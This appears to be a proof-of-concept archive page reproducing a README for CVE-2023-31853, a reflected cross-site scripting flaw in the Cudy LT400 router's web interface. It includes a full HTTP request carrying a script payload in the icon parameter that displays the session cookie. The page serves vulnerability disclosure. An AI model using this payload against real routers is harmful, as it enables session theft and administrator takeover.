Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-31853 PoC — Cudy Technology LT400 跨站脚本漏洞

Source
Associated Vulnerability
Title:Cudy Technology LT400 跨站脚本漏洞 (CVE-2023-31853)
Description:Cudy Technology LT400是中国Cudy Technology公司的一款无线路由器。 Cudy Technology LT400 1.13.4版本存在安全漏洞,该漏洞源于在/cgi-bin/luci/admin/network/bandwidth中的 icon 参数中存在安全问题。
Readme
# CVE-2023-31853

Reflected cross-site scripting (XSS) attack exists in web-based management interface of Cudy LT400.

The page `/cgi-bin/luci/admin/network/bandwidth` has reflected XSS via the `icon` parameter.

The methods of exploitation would involve sending a specially crafted request to the victim that includes malicious code.

**The affected application does not set the Session Cookie with the HttpOnly attribute; this can result in admin takeover via session token theft.**

## PoC

```
GET /cgi-bin/luci/admin/network/bandwidth?iface=4g&icon=icon-4g%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&i18name=Cellular HTTP/1.1
Host: 172.16.1.1
User-Agent: Mozilla/5.0
Accept: text/html, */*; q=0.01
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://172.16.1.1/cgi-bin/luci/
Cookie: sysauth=REDACTED
```

## Vendor

Shenzhen Cudy Technology

## CVE Reference

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31853

## Product Reference

https://www.cudy.com
File Snapshot

[4.0K] /data/pocs/f6f232444304099028aab2ba4ed264bd0718d439 └── [1.1K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.